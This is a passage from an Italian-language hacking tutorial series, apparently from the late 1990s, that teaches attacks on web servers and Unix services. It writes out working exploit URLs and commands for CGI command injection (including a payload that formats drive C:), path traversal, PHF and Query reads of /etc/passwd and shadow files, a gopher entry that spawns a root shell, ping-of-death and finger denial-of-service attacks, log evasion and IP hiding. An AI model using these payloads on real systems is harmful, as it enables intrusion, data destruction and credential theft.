|come detto prima, dei remailer usando i motori di ricerca. |
| |
| Un indirizzo tra i piu` affidabili: http://www.replay.com/remailer/ |
| |
| [NOTA] Questi siti sono attivi non per arrecare danni, ma per fornire un servi-|
| zio a quanti vogliono preservare la propria privacy elettronica. |
| Abusandone potreste mettere voi nei guai, o causare la chiusura del ser-|
| vizio. Inoltre molti remailer possono negarvi l'accesso al servizio in |
| caso di proteste da parte di terzi. In altre parole, usate il cervello..|
| |
+--------------------------------------------------------------------------------+
| |
| [D] - Web server |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - INTRODUZIONE ALLE TECNICHE DI BASE |
| |
|Le tecniche che inizieremo a vedere da questo capitolo in poi sono quelle di ba-|
|se per poter comprendere quelle più complesse. |
|Inoltre nella spiegazione di ciascuna tecnica ne approfitterò per spiegare altri|
|argomenti che normalmente in qualsiasi guida sull'hacking, in italiano o in in- |
|glese, sono lasciati alla... immaginazione del lettore. |
| |
|Dunque, in questo volume vedremo delle semplici tecniche relative alla sicurezza|
|(da un punto di vista hacker) dei server Web. |
| |
|Credo (e spero) che sappiate già usare un browser e i vari programmi... in caso |
|contrario vi consiglio vivamente di lasciar perdere l'hacking e iniziare con |
|qualcosa di piu` semplice, come accendere e spegnere il computer... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: I WEB SERVER - PARTE 1 |
| |
|Molti metodi usati in passato per hackerare un sito Web si basavano su dei pro- |
|blemi di sicurezza pre-esistenti causati dalla scarsa competenza dei Webmaster e|
|dei SysAdmin. |
|Ad esempio, un classico errore era lasciare programmi che hanno funzione di in- |
|terpreti di comandi, come ad esempio il Perl (file perl.exe) accessibili a chi- |
|unque tramite Internet. |
| |
|Dal momento che tali programmi accettano parametri, se avessimo voluto cancel- |
|lare l'intero contenuto di una directory avremmo potuto eseguire il comando di |
|eliminazione semplicemente collegandoci all'URL (indirizzo Web). |
| |
|Nel nostro esempio, dal momento che il linguaggio in questione e` il Perl, il co|
|mando per eliminare la directory è "unlink <*>" (senza gli apici). |
|Per "dire" al Perl di eseguire un comando va usata l'opzione "-e". Il comando |
|completo sarà quindi: perl.exe -e unlink <*> |
| |
|Ora supponiamo che il povero Webmaster :) abbia lasciato perl.exe nella directo-|
|ry cgi-bin (dove si trovano quasi tutti i programmi usati su un sito). |
|Non dovremo fare altro che collegarci dal nostro browser a questo indirizzo: |
| |
| http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E |
| |
|Ecco cosa stiamo facendo: http://www.nomesito.com/cgi-bin/perl.exe non è altro |
|che l'indirizzo del programma da eseguire; il punto interrogativo ci consente di|
|passare dei comandi qualsiasi al programma (probabilmente lo avrete già visto |
|quando vi collegate ai motori di ricerca); infine, come già detto prima, "-e" |
|dice al Perl di eseguire il comando che segue. |
|I segni + non sono altro che gli spazi. Poiché negli URL non si usano spazi van-|
|no usati i + al loro posto. |
|Ora troviamo la parola unlink, un altro + (spazio) e poi %3C*%3E ...cos'e`? |
|Se guardate piu` sopra, vedrete che il comando da eseguire era unlink <*> |
|Non abbiamo fatto altro che sostituire < con il suo codice ASCII in notazione |
|esadecimale (3C preceduto da % per indicare che e` un codice ASCII) e lo stesso |
|abbiamo fatto per > mentre l'asterisco e` rimasto uguale. |
| |
|Ovviamente non dovrete imparare i codici a memoria, vi basterà trovare una tabel|
|la ASCII come quelle che si trovano sui libri di informatica e di programmazione|
|o in alcune piccole utility. Se non l'avete, prima di proseguire è assolutamente|
|necessario che ve la procuriate. |
| |
| [VEDERE FILE ALLEGATO ASCII.ZIP] |
| |
|Dicevamo... perche` questi cambiamenti? |
|Perche` esistono delle regole per "scrivere" un URL: caratteri come / e \ (detti|
|slash e backslash), le parentesi e le virgolette, gli spazi e quasi tutta la |
|punteggiatura in genere (ad esclusione di + - e pochi altri simboli) vanno *sem-|
|pre* sostituiti con il relativo codice ASCII. Tutti gli altri caratteri possono |
|rimanere invariati. |
|
|
|Dunque quando dovremo scrivere uno dei simboli sopra descritti non bisognerà fa-|
|re altro che cercarne il codice in esadecimale e scriverlo al suo posto, metten-|
|do un simbolo di percentuale prima del codice. |
|Tali codici sono detti di "escape". |
| |
|In modo analogo, un server Web come il Microsoft IIS per Windows (versioni dalla|
|1.x alla 2.0b) oppure il server di Windows NT 3.x può essere "forzato" ad esegui|
|re dei comandi arbitrari, come ad esempio: |
| |
| http://www.nomesito.com/cgi-bin/scrivimi.bat?&dir+c:\+%5Cs |
| |
|In questo caso scrivimi.bat è un file batch (.bat). |
|E' molto facile da scoprire se un server utilizzi tali file, in quanto basta da-|
|re un'occhiata alle pagine Web di un sito (e magari al loro listato) per scopri-|
|re se vi sono riferimenti ad essi. |
| |
|ovviamente il trucco funziona solo con i server sopra elencati (per Windows) e |
|con pochissimi altri. Inoltre le nuove versioni hanno corretto questo problema. |
| |
|Il "bug" (errore) in questo caso risiede nella gestione dei files batch. |
| |
|come vediamo, aggiungendo ?& al nome del file e poi scrivendo i comandi da ese- |
|guire, il server crederà di stare eseguendo ancora il file batch e in realtà fa-|
|rà ben altro... nel nostro caso, il comando codificato è il seguente: dir c:\ /s|
|(dove / e` stato sostituito con il suo codice, %5C). |
| |
|Avremo quindi come risultato di tale comando l'elenco completo di *tutte* le dir|
|ectory e i file presenti sul server (utile per sapere dove mettere le mani se |
|cerchiamo qualcosa in particolare o vogliamo modificare qualcosa). |
| |
|Quelle descritte non sono vere e proprie tecniche hacker: sono degli exploit per|
|poter sfruttare i problemi di sicurezza conosciuti a nostro vantaggio. |
|Le trattiamo anche perche` non si può imparare qualcosa di complesso senza cono-|
|scere le basi e i ragionamenti che sono dietro un exploit. |
| |
|Tali exploit sono ampiamente discussi e spiegati (in inglese) su Internet e a |
|volerli spiegare tutti non basterebbero 100 volumi di questa enciclopedia. |
|Ecco perché vi invito fin d'ora ad "avventurarvi" sulla Rete, a cercare e a pro-|
|vare... e soprattutto a imparare l'inglese (se non lo conoscete gia`), perché la|
|stragrande maggioranza delle documentazioni e dei siti che possono insegnarvi |
|qualcosa (come il mitico Silicon Toad... http://www.silitoad.org oppure come Ha-|
|ckers Underground... http://www.underground.org) è, che lo vogliate o meno, in |
|inglese. In una parola: LEGGETE. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: I WEB SERVER - PARTE 2 |
| |
|Come abbiamo visto, molti server Web per Windows (come Microsoft IIS oppure Win-|
|dows NT server) possono essere utilizzati per eseguire comandi arbitrari utiliz-|
|zando lo schema seguente: |
| |
| [URL].../nomescript.bat?&comando_1+comando_2+...+comando_N |
| |
|E' bene notare che i server Web registrano in uno o più file (detti "log") tutte|
|le operazioni effettuate, e quindi nel caso utilizzassimo l'hack sopra descritto|
|esso verrebbe senza dubbio registrato, insieme al nostro IP Address e ad altre |
|informazioni. |
| |
|Per evitarlo, possiamo fare due cose. Una possibilità è aggiungere alla fine |
|dell'URL contenente i nostri comandi, il comando "time" oppure "date", in questo|
|modo: |
| |
| http://www.sito.com/cgi-bin/prova.bat?&echo+S+%7C+format+c%3A+%2Fu+time |
| |
|Procediamo ora con la spiegazione di questo URL. Il comando eseguito e`: |
| |
| echo S | format c: /u |
| |
|seguito dal comando "time", che vedremo dopo. Il comando "format c:" come sappia|
|mo serve a formattare un disco, in questo caso l'hard disk "C", mentre "/u" indi|
|ca a "format" di procedere con una formattazione incondizionata, cioè senza sal-|
|vare i dati presenti sul disco... ma "format", una volta eseguito, chiede all'ut|
|ente di premere un tasto: S (si) oppure N (no), e non farà nient'altro fino a |
|che non avrà uno dei due input. |
| |
|per ovviare all'inconveniente, non potendo noi digitare "S" sulla tastiera del |
|computer che vogliamo hackerare, utilizziamo "echo S" seguito da "|". |
|In pratica "|" (detto "pipe") serve ad inviare l'output del comando "echo" (il |
|carattere "S") al comando successivo (format), simulando la pressione del tasto.|
|Abbiamo così risolto il problema. |
| |
|Una funzione non documentata del comando format è l'opzione "/autotest". |
|Tale opzione corrisponde in pratica alla riga di comando sopra descritta, |
|e quindi potremo (solo nel caso di format) fare a meno di echo, pipe e "/u" scri|
|vendo "format c: /autotest" (NON scrivetelo sul vostro computer). |
| |
|l'hard disk verrà formattato senza chiedere alcunché all'utente. |
| |
|Ma ora torniamo al comando time (oppure date). Perché l'abbiamo aggiunto? |
| |
|I server registrano le operazioni nei log solo DOPO che tali operazioni siano st|
|ate effettivamente eseguite. Ad esempio, quando un URL viene "chiamato" e abbia-|
|mo ricevuto il contenuto della pagina ad esso associata. |
|Per impedire al server di terminare l'operazione (e quindi di registrare l'URL |
|hackerato e il nostro IP nel file di log) usiamo quindi time o date. |
| |
|Come sappiamo questi due comandi non fanno altro che cambiare ora o data, e a ta|
|le scopo chiedono all'utente il nuovo valore (l'orario, nel caso di time) all'u-|
|tente. Ma dal momento che il server non sa rispondere ai comandi ;) la loro ese-|
|cuzione non potrà essere completata, il log non verrà scritto e noi avremo ot- |
|tenuto quello che volevamo... segretezza :) |
| |
|Vi ho detto però che esistono DUE modi. Ecco il secondo: esiste su Internet un |
|server molto simile all'Anonimizzatore di cui vi ho parlato in un volume prece- |
|dente a questo. Si tratta di iPROXY (http://www.iproxy.com), un server che offre|
|gratuitamente la possibilita` di collegarsi anonimamente ai siti, digitando |
|l'URL desiderato (vi dice niente?). |
| |
|non e` ovviamente una tecnica, ma un servizio pensato per ben altri scopi che |
|per l'hacking... ma meglio uno in più che in meno ^_^ |
| |
|Tornando ai problemi di sicurezza... |
| |
|Un altro bug di IIS è il seguente: aggiungendo uno (o una coppia) di punti alla |
|fine di un file script, anziché essere eseguito, il contenuto del file verrà Vi-|
|sualizzato sullo schermo del vostro browser. |
|Un altro bug simile permette di visualizzare file "segreti" (come pagine protet-|
|te da password, documenti che non dovrebbero poter essere visualizzati in quanto|
|"interni" e qualsiasi altro file presente sull'hard disk del server), in questo |
|modo: |
| |
| http://www.sito.com/..\..\..\..\qui_va_il_percorso\nome_del_file |
| |
|Esistono molti altri bugs, per i quali vi rimando (nel caso di Windows) ai siti |
|sulla sicurezza di Windows. |
| |
|Passiamo ora agli altri Web server. |
| |
|Restando in tema di Windows NT/95 un altro server che ha il problema degli scri-|
|pt in cgi-bin è O'Reilly WebSite (versioni fino alla 1.1b). |
| |
|Per leggere invece un file log (WebSTAR.LOG) del server WebStar per Macintosh ba|
|sta utilizzare il codice escape al posto del punto (nel nome del file): |
| |
| http://www.sito.com/WebSTAR%20LOG |
| |
|Tenete presente che i bug fin qui descritti sono applicabili solo ai relativi |
|software. Non cercate, pertanto, di utilizzare "time" con un server Unix o roba |
|del genere. |
| |
+--------------------------------------------------------------------------------+
| |
| [E] - Web server Unix |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: I WEB SERVER UNIX |
| |
|Il Web server standard di Unix, Linux, ecc. è httpd della NCSA. |
| |
|Tutte le versioni fino alla 1.4 hanno un bug molto frequente nel software server|
|(lo ritroveremo ad esempio nei server SMTP, vecchi e nuovi). |
|Si tratta di un problema detto "buffer overflow", che consiste nel riempire tut-|
|ta l'area di memoria riservata dal server ai dati, e fargli eseguire un program-|
|ma (molto piccolo, e preferibilmente in assembler) scritto da noi. |
|Essendo una tecnica molto complessa la vedremo più avanti, poiché ci sarà più u-|
|tile con SMTP (per avere accesso root) che con il Web, in quanto nei nuovi ser- |
|ver questo problema sembra essere stato corretto. |
|Per la cronaca, lo stesso bug esiste anche nel server Apache (fino alla versione|
|1.02). |
| |
|Esistono poi degli hack (un "hack" è una tecnica di hacking) che hanno letteral-|
|mente fatto storia. |
|Relativamente vecchio ma ancora molto utilizzato è quello del PHF, usato per hac|
|kerare le pagine Web di CIA, FBI e moltissimi altri, più o meno famosi. Prima di|
|spiegare questa tecnica è bene precisare una cosa: se state leggendo questi vo- |
|lumi per imparare, non avrete certamente la capacità di rendervi "invisibili" |
|agli occhi di un SysAdmin... quindi attenti a non utilizzare queste tecniche. |
| |
|Molti siti (come ad esempio unina.it, l'Università di Napoli) hanno software in |
|grado di riconoscere gli hack più conosciuti (tra cui PHF e Query). |
|Potrebbero far sospendere il vostro account Internet, se non denunciarvi... |
| |
|Ma prima dobbiamo fare un breve corso sul sistema di password di Unix. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: UNIX E LE PASSWORD |
| |
|Riflettiamo un attimo: qual'è la parte più interessante di un sistema Unix (o |
|Linux)? Certamente il file delle password, nel quale si trova, in forma criptata|
|anche la password di root (oltre a quelle di tutti gli altri utenti). |
| |
|Una classica entry (riga di testo contentente dati) di un file password è di que|
|sto tipo: |
| |
| username:4cFJg5aMkC9f:1000:20:nome e cognome:/home/utente:/bin/ksh |
| |
|I campi sono delimitati dai due punti, e sono: |
| |
| - Nome utente (username) |
| - Password criptata |
| - Numero utente |
| - Numero gruppo |
| - GECOS (nome e cognome, oppure altre informazioni sull'utente) |
| - Directory utente (dalla quale in genere non potete uscire) |
| - Shell utilizzabile dall'utente (in genere limitata se non siete root) |
| |
|Nel caso in cui uno o più campi siano disabilitati, li troverete vuoti (i due pu|
|nti saranno vicini) oppure troverete uno slash (/) al loro posto. |
|Nel caso della shell, in alcuni casi troverete /bin/false che, in pratica, cor- |
|risponde allo slash (e quindi a nessuna shell). |
| |
|Ma dove si trova il file delle password? |
| |
|La directory standard è /etc e il file si chiama passwd, quindi il percorso com-|
|pleto sarebbe /etc/passwd ma la maggior parte dei nuovi sistemi ha un meccanismo|
|denominato "shadowing" delle password. Per evitare di prelevare il file contente|
|nte le password, infatti, viene creato un secondo file, il cui nome in genere è |
|shadow (in molti casi si troverà nella directory /etc) che contiene, in forma un|
|pò diversa da quella appena vista, tutti i campi, comprese quindi le password |
|(criptate), e NON è accessibile agli utenti. |
| |
|Il file passwd, invece, conterrà tutti i soliti campi, ma al posto della pas- |
|sword conterrà un simbolo, detto Token (che in genere e` un asterisco). |
| |
|Perché questo? Le password sono criptate, ma è ancora possibile risalire ad esse|
|crackarle (da "crack"). Non si possono decriptare, ma si può usare una lista di |
|parole probabili (detta dizionario), criptarle una per una e confrontare il ri- |
|sultato con le password criptate in passwd. Se coincidono, abbiamo trovato una |
|password. |
|Ovviamente per fare tutto ciò si usano dei programmi appositi. I più usati (e i |
|migliori) sono CrackerJack e HellFire Cracker. Praticamente tutti i siti Web con|
|tenenti materiale per hackers ne hanno una copia. |
| |
|Tornando alle password, se un sistema usa lo shadowing, per risalire al vero fi-|
|le delle password, in base al sistema operativo usato potremo trovarlo in direc-|
|tory differenti, come mostrato in questa tabella tratta dalla HackFAQ: |
| |
| Sistema Unix Path (percorso) del file Token |
| ---------------------------------------------------------------- |
| AIX 3 (caso 1) /etc/security/passwd ! |
| AIX 3 (caso 2) /tcb/auth/files/p/pippo # |
| A/UX 3.0s /tcb/files/auth/?/ * |
| BSD4.3-Reno /etc/master.passwd * |
| ConvexOS 10 /etc/shadpw * |
| ConvexOS 11 /etc/shadow * |
| DG/UX /etc/tcb/aa/user/ * |
| EP/IX /etc/shadow x |
| HP-UX /.secure/etc/passwd * |
| IRIX 5 /etc/shadow x |
| Linux 1.1 /etc/shadow * |
| OSF/1 /etc/passwd[.dir|.pag] * |
| SCO Unix #.2.x /tcb/auth/files/p/pippo * |
| SunOS4.1+c2 /etc/security/passwd.adjunct ##username |
| SunOS 5.0 /etc/shadow * |
| System V Release 4.0 /etc/shadow x |
| System V Release 4.2 /etc/security/* database * |
| Ultrix 4 /etc/auth[.dir|.pag] * |
| UNICOS /etc/udb * |
| ---------------------------------------------------------------- |
| |
|Ora che sappiamo cosa cercare (e dove), passiamo alle tecniche da impiegare. |
| |
|Un file /etc/passwd standard può spesso essere prelevato tranquillamente con FTP|
|oppure collegandosi ad un indirizzo come: |
| |
| http://www.sito.com/ftp/etc/passwd |
| |
|oppure... |
| |
| ftp://ftp.sito.com/etc/passwd |
| |
|tenendo però presente che in genere i SysAdmin leggono i log... scaricando il lo|
|ro file delle password non li farete certo felici. |
| |
|Quindi, non appena riuscirete a procurarvi username e password di un account |
|(che non sia né vostro né di amici, se ci tenete alle amicizie...) è consigliabi|
|le utilizzare quello anziché il vostro account. |
| |
|Una volta prelevato /etc/passwd diamogli un'occhiata: se il secondo campo di cia|
|scun rigo (o di almeno un paio di essi) contiene una password criptata, possiamo|
|essere quasi sicuri che non esista nessuno shadowing. |
| |
|Dico *quasi* perché alcuni grossi server stranieri hanno recentemente usato dei |
|file passwd fittizi. Crackandoli e provando a collegarsi con le password trovate|
|non si riesce a collegarsi... perché sono tutte false e servono a depistare l'ha|
|cker inesperto. E' raro che accada, ma è da tener presente. |
| |
|Nel caso dovessimo trovare un Token al posto della password, ci affideremo alle |
|tecniche di cui parlavamo in principio. |
| |
|Il primo hack che descriveremo è quello del PHF. |
| |
|PHF è una piccola utility di "agenda telefonica" presente in Unix, Linux, ecc. |
|Anch'essa puo` essere usata in modo sovversivo, per far eseguire dei comandi |
|qualsiasi a un server. |
| |
|Basta collegarsi a un URL del genere: |
| |
| http://www.sito.com/cgi-bin/phf?Jserver=x&Qalias=x%0A/bin/cat%20/etc/passwd |
| |
|oppure più semplicemente... |
| |
| http://www.sito.com/cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd |
| |
|usando /etc/shadow (o altri, vedi tabella sopra) al posto di /etc/passwd per pre|
|levare il vero file delle password. |
| |
|Quello che avviene "chiamando" questi URL è che il file PHF viene eseguito (ven-|
|gono passati parametri fittizi, come Jserver e Qalias) e poi si simula un invio |
|a capo (codice %0A) per inviare un nuovo comando, che nel nostro caso è /bin/cat|
|/etc/passwd (%20 equivale allo spazio, ma si puo` usare anche "+" al suo posto),|
|ma puo` essere *qualsiasi* comando si voglia. |
| |
|In quel momento, infatti, abbiamo accesso root! =) |
| |
|E come tali, possiamo eseguire comandi, creare, modificare, distruggere... |
| |
| [NOTA] il file /bin/cat equivale al comando "type" del DOS. Serve quindi a vi- |
| sualizzare un file, e occasionalmente anche a crearne uno o ad agiungere|
| righe di testo ad uno pre-esistente. Supponiamo di voler inserire una ri|
| ga nel file "prova": in tal caso, useremo "cat" unitamente ai simboli di|
| ridirezione > e >> e | (pipe), proprio come nel DOS. |
| Alcuni esempi: |
| /bin/cat prova > test crea un file col nome test e vi scrive "prova" |
| /bin/cat prova >> test aggiunge la parola "prova" al file "test" |
| |
|Ovviamente per crackare un file shadow che, come abbiamo detto, usa un formato |
|differente, dovremo prima effettuare il de-shadowing (trasformare shadow in for-|
|mato passwd standard) e poi effettuare il cracking con i normali CrackerJack e |
|simili. |
| |
|Esistono su Internet programmi appositi per tale operazione. |
| |
|Una tecnica molto simile a quella del PHF è quella del Query: |
| |
| http://www.sito.com/cgi-bin/query?%0A/bin/cat%20/etc/passwd |
| |
|che funziona in modo analogo a quello già visto del PHF. |
|Dopo il "?" andrebbe inserito qualcosa da richiedere al server, ma poiché a noi |
|interessa solo eseguire comandi, ci "limiteremo" ancora una volta a scriverli do|
|po il codice %0A. |
| |
|Un'ultima cosa che può tornarci utile è che molti server hanno un file chiamato |
|test-cgi nella directory cgi-bin. Se tale file contiene il comando: |
| |
| echo QUERY_STRING = $QUERY_STRING |
| |
|potremo, ad esempio, dare un'occhiata alla directory di root ("/*") con il se- |
|guente URL: |
| |
| http://www.sito.com/cgi-bin/test-cgi?/* |
| |
|o della directory corrente usando solo "*" anziche` "/*", e così via. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - POSTILLA |
| |
|Che lo si creda o meno, nonostante queste tecniche siano abbastanza vecchie e |
|utilizzatissime, sono parecchi i server (anche quelli "importanti") che sono |
|vulnerabili. Spesso inoltre non registrano neppure l'IP Address dell'hacker. |
| |
|Ovviamente se il server vi risponde qualcosa come "il tuo tentativo di hackerare|
|questo server sarà comunicato a chi di dovere" (in inglese) state pur certi che |
|vi troverete nei guai. Quindi aspettate di diventare hackers prima di mettere in|
|pratica... conoscere le tecniche non basta. Se credete di essere già diventati |
|hackers conoscendole, mi dispiace deludervi... vi potrete solo mettere nei guai |
|e farvi etichettare per sempre come patetici "lamer" (termine dispregiativo del |
|gergo hacker per indicare un hacker nato perdente). |
| |
+--------------------------------------------------------------------------------+
| |
| [F] - Miscellanea |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: MISCELLANEA |
| |
|Nel volume precedente abbiamo visto come sfruttare alcuni problemi di sicurezza |
|del software server. |
| |
|Dal momento che è necessario conoscere tipo e versione del software e sistema |
|operativo, dobbiamo sapere come avere tali informazioni. |
| |
|Ancora una volta ci torna comodo utilizzare Telnet. Basterà infatti collegarsi |
|alla porta del servizio interessato per ottenere quasi sempre informazioni pre- |
|ziose. |
| |
|Ad esempio, se ci colleghiamo alla porta HTTP, FTP o SMTP, il server ci "salute-|
|rà" indicandoci tipo e versione del software, data locale e altre utili informa-|
|zioni. |
|Altre ancora possiamo ottenerle tramite il programma "finger", che serve a mos- |
|trare informazioni su un dato utente di un dato sistema. |
| |
|Alcuni siti inoltre ci risparmiano la fatica di cercare: infatti, i Webmaster do|
|po aver acquistato un "potente" software server, scrivono orgogliosi sulle loro |
|pagine "questo sito utilizza il software xxxxx versione yyyyy"... |
| |
|Un'ulteriore nota sulla porta HTTP: i vecchi server (versioni fino alla 1.3) di |
|httpd (per Unix e Linux) possono essere crashati richiedento un URL con un forma|
|to sbagliato. Esistono in giro diversi exploit sull'argomento, e pertanto vi ri-|
|mando alle mailing list sulla sicurezza su Internet. |
| |
| [NOTA] Da ora in poi quando parlerò di Unix mi riferirò anche a Linux, AIX, |
| Solaris, ecc. a meno che sia diversamente specificato. |
| |
|Prima di procedere vorrei farvi notare che non è necessario scrivere in tempo |
|reale i vostri comandi in Telnet (anche perché correte il rischio di sbagliare e|
|non poter cancellare). Moltissimi client hanno le funzioni Copy e Paste (Copia e|
|Incolla), che potete usare unitamente a un programma di videoscrittura (come il |
|Block Notes di Windows) per velocizzare le operazioni (e ridurre il numero di ci|
|fre sulla vostra bolletta telefonica). |
|Vi basterà infatti scrivere tutti i comandi nel block notes, usare Copy e poi, |
|una volta in Telnet, usare Paste. Un consiglio: non usate testi troppo lunghi, |
|perché alcuni server potrebbero non essere abbastanza veloci per riceverli. |
| |
|Altri programmi vulnerabili a un atacco tramite Telnet sono Finger, Ping, Gopher|
|Pine e altri; in pratica, per quasi tutti quelli esistenti esiste un hack su mi-|
|sura. |
| |
|Ovviamente per capire di cosa sto parlando vi serviranno i programmi in questio-|
|ne. Iniziamo da finger. |
| |
|Usando @ oppure 0 (o uno degli username standard come root, bin, ftp, system, de|
|mo, guest, ecc.) nell'effettuare una richiesta tramite finger è possibile ottene|
|re (specie con i vecchi server) svariate informazioni. |
| |
|Ma supponiamo ora di voler crashare il server finger. Per quale motivo? |
|Siamo tutti hackers.malicious o crackers? ;) No, il motivo è un altro: se il ser|
|ver finger (per Unix) dovesse crashare, noi avremmo accesso root. |
|Perché? Se il server crasha, non avremo più un "interprete" dall'altra parte che|
|"filtra" i nostri comandi e ci da informazioni quando scriviamo finger... ma av-|
|remo una specie di connessione diretta alla shell dei comandi con il livello d'-|
|accesso massimo (root, per l'appunto). |
| |
|Ecco come si fa: (non sbavate, siamo ancora al principio ;) |
| |
|utilizzando Telnet, il cui scopo è fornire una connessione e lasciarla nelle nos|
|tre mani, ci colleghiamo alla porta 79 (finger) del server desiderato (assicuria|
|moci però prima che il sistema operativo sia effettivamente Unix eche abbia il |
|server finger attivato). |
|Ora, quello che fa un normale client finger è semplicemente inviare il comando |
|"finger nomeutente" e visualizzare le informazioni ricevute. |
|Nient'altro. E' uno spreco... tanto potere buttato al vento =) |
|E pensare che finger ha anche accesso a tutte le directory degli utenti, e a sa-|
|perlo controllare si potrebbero anche "ritoccare" i vari files... |
| |
|Ma noi, che abbiamo ben altre intenzioni (buone... lo dico per il NOPT, il Nu- |
|cleo Operativo di Polizia Telematica ;) possiamo fare di meglio. |
| |
|Scrivendo ///* seguito dalla combinazione Ctrl-S accederete a root e paraliz- |
|zerete il server (Ctrl-S e` un codice di controllo detto "freeze", cioe` "con- |
|gela"). A questo punto la connessione è in mano vostra. |
| |
|Il client finger può essere usato per un attacco di tipo D.O.S. (Denial Of Servi|
|ce, cioè negare l'accesso a un servizio disattivandolo). |
| |
|Se usiamo finger per collegarci a un server troppe volte (lasciando "aperta" og-|
|ni connessione) dopo un po' il server rifiuterà a chiunque altro di collegarsi, |
|e l'intero server del sito verrà rallentato; in alcuni casi potrebbe addirittura|
|crashare. |
| |
|Per fare una cosa del genere bisognerebbe chiamare decine di volte lo stesso pro|
|gramma... una soluzione migliore consiste nel programmare da sé una utility che |
|effettui molte connessioni alla stessa porta dello stesso server. |
| |
|Se il vostro client lo consente, potete nascondere il vostro IP Address effet- |
|tuando un "bounce" (rimbalzo). In pratica si tratta di richiedere a un server di|
|fare la stessa richiesta a un altro server, per far risultare come "richiedente"|
|il suo IP Address anziché il nostro. |
|Il comando è nel formato: |
| |
| finger @sito.com@altrosito.com |
| |
|Non preoccupatevi se non avete capito tutto: vi torneranno utili quando dovrete |
|studiare un attacco e conoscerete meglio l'Arte. |
| |
| [Nota su finger] Alcuni siti (mi sembra di ricordare quello della Microsoft) |
| disabilitano finger per evitare problemi... in alcuni casi pe-|
| rò si limitano a disabilitarlo, NON a cancellarlo dalla direc-|
| tory del server. |
| Potrete quindi accedervi usando questo URL: |
| http://www.sito.com/cgi-bin/finger |
| |
|e per passare i parametri aggiungete "?" e i vostri comandi con il metodo della |
|codifica degli URL descritta nei volumi precedenti. |
| |
|Personalmente non ho provato la tecnica del ///*^S su server non-Unix (come Win-|
|dows NT e 95) in quanto essa è basata sulla struttura di Unix. Comunque potrebbe|
|essere interessante provare; da cosa nasce cosa... |
| |
|Passiamo ora a Ping. |
| |
|Combinato a Finger, Ping è eccellente per effettuare un attacco D.O.S. in quanto|
|è utilizzato praticamente ovunque, e non correte il rischio di non poterlo uti- |
|lizzare come accade in alcuni casi con Finger. |
| |
|Per chi non lo conosce, diciamo che Ping è un programma per controllare la pre- |
|senza di un sito su Internet e valutare la sua velocità di collegamento. |
| |
|Il funzionamento è molto simile: aprire molte connessioni a un server fino a che|
|questo collasserà per il troppo lavoro richiesto alla CPU. |
|Se avete la possibilitè di scegliere tra Ping e Ping-f vi consiglio di scegliere|
|quest'ultimo, in quanto è estremamente più veloce. |
| |
|Linux è inoltre vulnerabile a un particolare attacco: da un computer che usi Win|
|dows 95 o NT si può usare questo comando: |
| |
| ping -l 65510 sito.com |
| |
|dove sito.com è un sito che usa Linux (versioni fino alla 2.0.20 esclusa). |
|La macchina si bloccherà e si riavviera` automaticamente. |
| |
|Potete sperimentare anche altri valori tra 65508 e 65527 in luogo di 65510. |
| |
|Le vecchie versioni di Gopher hanno un serio bug: creando un file .links su un |
|server gopher pubblico, contenente queste linee di testo: |
| |
| Type=8 |
| Name=Sceglimi |
| Host=;/bin/sh |
| Port= |
| Path= |
| |
|potete collegarvi a Gopher, entrare nella directory dove avete piazzato il file |
|.links e scegliere la voce "Sceglimi". Il comando messo dopo "Host=;" verrà ese-|
|guito (nel nostro caso, una shell con accesso root). |
| |
+--------------------------------------------------------------------------------+
| |
| [G] - Invio e-mail |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE AVANZATE: SENDMAIL |
| |
|Sarete felici di sapere che questo è l'ultimo volume sulle tecniche fondamentali|
|e gli exploit. Dal prossimo inizieremo con l'hacking vero e proprio, e metteremo|
|in pratica (con grande dolore da parte dei SysAdmin) quello che faremo di volta |
|in volta. Ovviamente mi aspettero` che ora che avete abbastanza informazioni di |
|base abbiate chiari concetti come server e client, FakeMail, come fare piccole |
|cose come trovare la versione di un server, ecc. Se qualcosa non dovesse essere |
|chiaro, non esitate a scrivermi e ad esporre il problema. Cercherò di risponder-|
|vi non appena avrò trovato abbatanza tempo. NON chiedetemi qual'è la password di|
|un sito xxx o dove trovare la versione pirata di un gioco. Siamo hackers, non |
|pirati. |
| |
|Qualcuno mi ha chiesto perché sto scrivendo questa "enciclopedia". Beh, forse |
|perché è quello che ho sempre cercato e non ho mai trovato quando volevo impara-|
|re l'hacking... e poi credo che sia molto piu` completa di quei piccoli files |
|sulle basi dell'hacking scritti da hackers, per hackers. Ma quale sarebbe lo sco|
|po? Se uno è già hacker, non ha bisogno di imparare le basi di quello che cono- |
|sce già... okay, parentesi chiusa. |
| |
|Quello che partirà dal prossimo volume sarà pertanto un vero e proprio corso di |
|hacking a puntate (con tanto di supporto via email), dedicato a tutti coloro che|
|mi hanno scritto e hanno creduto in questo progetto di divulgazione, siano essi |
|hackers o wannabe (futuri hackers, speriamo). |
| |
|Iniziamo dunque questo ultimo volume sule tecniche con una breve descrizione del|
|servizio di posta elettronica di Unix. |
| |
|Il programma server che risponde a chi si collega alla porta SMTP (25) è chiama-|
|to Sendmail. Come abbiamo visto in un precedente volume, all'atto del collega- |
|mento via Telnet avremo una risposta di questo genere: |
| |
| 220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT |
| |
|(il numero di versione di un server lo troviamo anche sbirciando tra gli headers|
|delle emails che riceviamo quotidianamente). |
| |
|I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la ver|
|sione del server SMTP. Mettiamo una volta per tutte in chiaro che SMTP è il nome|
|del servizio (della porta 25) e Sendmail è il nome del programma che si occupa |
|di gestire SMTP: in pratica Sendmail è il server SMTP di Unix. |
| |
|Dunque, perché dovremmo voler conoscere il numero di versione di Sendmail? |
| |
|Sendmail è famoso tra gli hackers come il programma più "bacato" esistente. |
|Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche quel|
|le più nuove) hanno un qualche bug che un hacker può sfruttare per guadagnare il|
|lecitamente accesso a un sistema. |
| |
